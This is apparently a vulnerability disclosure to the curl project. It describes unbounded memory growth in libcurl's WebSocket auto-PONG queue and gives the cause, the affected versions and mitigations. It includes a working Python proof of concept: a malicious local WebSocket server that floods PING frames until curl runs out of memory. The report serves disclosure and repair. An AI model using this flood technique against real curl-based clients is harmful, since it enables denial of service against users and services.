curl · Report #3788931
CVE-2026-11586: WS Auto-PONG memory exhaustion
How it was found
Summary:
TL;DR: a remote WebSocket peer can make default curl/libcurl grow memory until timeout or OOM by sending legal PING frames while refusing to read the client's automatic PONGs.
curl automatically replies to each received WebSocket PING with a PONG unless CURLWS_NOAUTOPONG is set. In lib/ws.c, ws_enc_add_cntrl() queues the generated PONG into ws->sendbuf and ignores the result of ws_flush(), while ws->sendbuf is initialized with BUFQ_OPT_SOFT_LIMIT. A malicious WebSocket peer can complete a valid upgrade, stop reading client data, and keep sending legal PING frames so curl continues appending internal PONGs without an effective hard limit. This is not just a never-ending transfer: even with --max-time 8, the default CLI path can hit 1 GiB RSS in about 2 seconds locally, and under a 180 MiB address-space limit it exits with curl: (27) Out of memory. The same input with CURLWS_NOAUTOPONG does not show comparable memory growth. As a temporary mitigation, a smaller --max-time / CURLOPT_TIMEOUT reduces the attack window, while CURLWS_NOAUTOPONG avoids this default auto-PONG queueing path entirely.
Affected version
Reproduced on current local build:
curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV zlib/1.2.11 libpsl/0.21.0 nghttp2/1.40.0
Release-Date: [unreleased]
Protocols: dict file ftp gopher http imap ipfs ipns mqtt pop3 rtsp smtp telnet tftp ws
Features: alt-svc AsynchDNS HTTP2 IPv6 Largefile libz PSL threadsafe UnixSockets
Preliminary version triage:
- Current
master/8.21.0-DEVreproduces. - The vulnerable auto-PONG queueing path appears to have been introduced by commit
0b09132877(websocket: handling of PONG frames). - Based on tag containment, the first released version that appears to contain this specific path is
8.16.0. - Initial review suggests
8.15.xand earlier do not contain this same queued auto-PONG implementation.
Relevant code paths:
/* lib/ws.c */
if(!ws->enc.payload_remain) {
CURLcode result = ws_enc_add_pending(data, ws);
if(!result)
(void)ws_flush(data, ws, Curl_is_in_callback(data));
return result;
}
/* sendbuf uses BUFQ_OPT_SOFT_LIMIT */
Curl_bufq_init2(&ws->sendbuf, chunk_size, WS_CHUNK_COUNT, BUFQ_OPT_SOFT_LIMIT);
Steps To Reproduce:
From a curl source checkout with a WebSocket-enabled build, run this single self-contained PoC. It does not call any repository-local PoC file.
CURL_BIN="${CURL_BIN:-./build-codex-h2-nosan/src/curl}" python3 - <<'PY'
import base64, hashlib, os, re, resource, socket, subprocess, threading, time
st = {}
def srv():
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", 0))
s.listen(1)
st["p"] = s.getsockname()[1]
c, _ = s.accept()
c.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096)
req = b""
while b"\r\n\r\n" not in req:
req += c.recv(4096)
k = re.search(rb"(?im)^Sec-WebSocket-Key:\s*(\S+)", req).group(1)
a = base64.b64encode(
hashlib.sha1(k + b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11").digest()
).decode()
c.sendall(
(
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Accept: {a}\r\n\r\n"
).encode()
)
f = b"\x89\x00" * 65536
try:
while True:
c.sendall(f)
except OSError:
pass
threading.Thread(target=srv, daemon=True).start()
while "p" not in st:
time.sleep(0.01)
rc = subprocess.run(
[
os.environ["CURL_BIN"],
"--silent",
"--show-error",
"--max-time",
"8",
f"ws://127.0.0.1:{st['p']}/",
],
preexec_fn=lambda: resource.setrlimit(
resource.RLIMIT_AS, (188743680, 188743680)
),
).returncode
print("curl rc =", rc)
PY
Expected result:
curl: (27) Out of memory
curl rc = 27
For comparison, a CURLOPT_WS_OPTIONS = CURLWS_NOAUTOPONG control client processed the same empty-PING input without comparable memory growth, and a bounded-time CLI validation reached about 1.05 GiB RSS in about 1.96 seconds before the verifier stopped it.
Practical mitigation today:
- Set a smaller
--max-time/CURLOPT_TIMEOUTif the WebSocket transfer does not need to stay open long. This only limits how much memory can be forced before timeout. - Set
CURLWS_NOAUTOPONGif the application can safely handle WebSocketPINGframes itself. This avoids the vulnerable default auto-PONG path.
Impact
Summary:
A remote WebSocket peer can drive unbounded growth of curl's internal auto-PONG send queue and exhaust the client process memory budget using only legal protocol input after a valid handshake. Depending on available memory and runtime limits, this can terminate the curl command-line tool with CURLE_OUT_OF_MEMORY, trigger system/container OOM handling, or cause a libcurl-using application to fail. The issue affects default WebSocket behavior and does not require API misuse, local access, or malformed frames. Smaller timeout values can reduce the damage window, but they do not add backpressure; disabling auto-PONG with CURLWS_NOAUTOPONG avoids this specific path.